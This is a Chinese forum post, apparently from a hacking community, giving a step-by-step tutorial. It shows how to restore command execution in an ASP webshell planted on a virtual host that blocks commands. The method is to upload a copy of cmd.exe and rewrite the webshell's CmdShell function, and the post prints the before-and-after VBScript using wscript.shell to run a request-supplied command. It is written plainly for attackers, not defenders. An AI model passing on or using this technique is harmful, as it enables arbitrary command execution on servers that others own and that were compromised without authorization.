  
- 帖子
- 575
- 积分
- 1897
- 威望
- 2479
- 金钱
- 15914
- 在线时间
- 175 小时
             
|
有很多朋友问他得到了一个WEBSHELL,但是想用命令提示查看用户信息什么的,但是很多主机限制了执行命令,所以很多WEBSHELL就不能失去了很大的功能......前二天桂林老兵ASP站长助手6.0刚出来,我就以ASP站长助手6.0为例把它上传到一个禁止执行的虚拟主机,然后上传一个CMD.exe,然后调用你上传的CMD来执行命令......
本来想搞图文教程的,但感觉太简单,文字就可以说明清楚了
1.打开ASP站长助手6.0点击命令提示符,显示"没有权限"
2.用ASP站长助手6.0上传功能上传一个CMD.exe(在WIN\system32\cmd.exe)到你的WEBSHELL目录(其它目录也行,把上传以后的CMD.exe绝对路径COPY出来)
3.修改你的webshell找到调用CMD.exe的代码
Function CmdShell()
If Request("cmd")<>"" Then
DefCmd = Request("cmd")
Else
DefCmd = "Dir "&Session("FolderPath")
End If
SI="
"
SI=SI&""
SI=SI&""
<br> SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall
<br> SI=SI&Chr(13)&"Rar命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1"
Response.Write SI
End Function
修改成以下载的代码
Function CmdShell()
If Request("cmd")<>"" Then
DefCmd = Request("cmd")
Else
DefCmd = "Dir "&Session("FolderPath")
End If
SI=" "
SI=SI&""
SI=SI&""
<br> SI=SI&server.createobject("wscript.shell").exec("你想上传的cmd.exe绝对路径 /c "&DefCmd).stdout.readall
<br> SI=SI&Chr(13)&"Rar命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1
"
Response.Write SI
End Function
为了大家看得清楚把要修改的提出来就可以
原来的:
SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall
修改成:
SI=SI&server.createobject("wscript.shell").exec("你想上传的cmd.exe绝对路径 /c "&DefCmd).stdout.readall
比如你上伟到的目录是D:\web\www\cmd.exe那么就修改成:
SI=SI&server.createobject("wscript.shell").exec("D:\web\www\cmd.exe /c "&DefCmd).stdout.readall
这样你的WEBSHELL中的命令提示符就可以用了...... |
|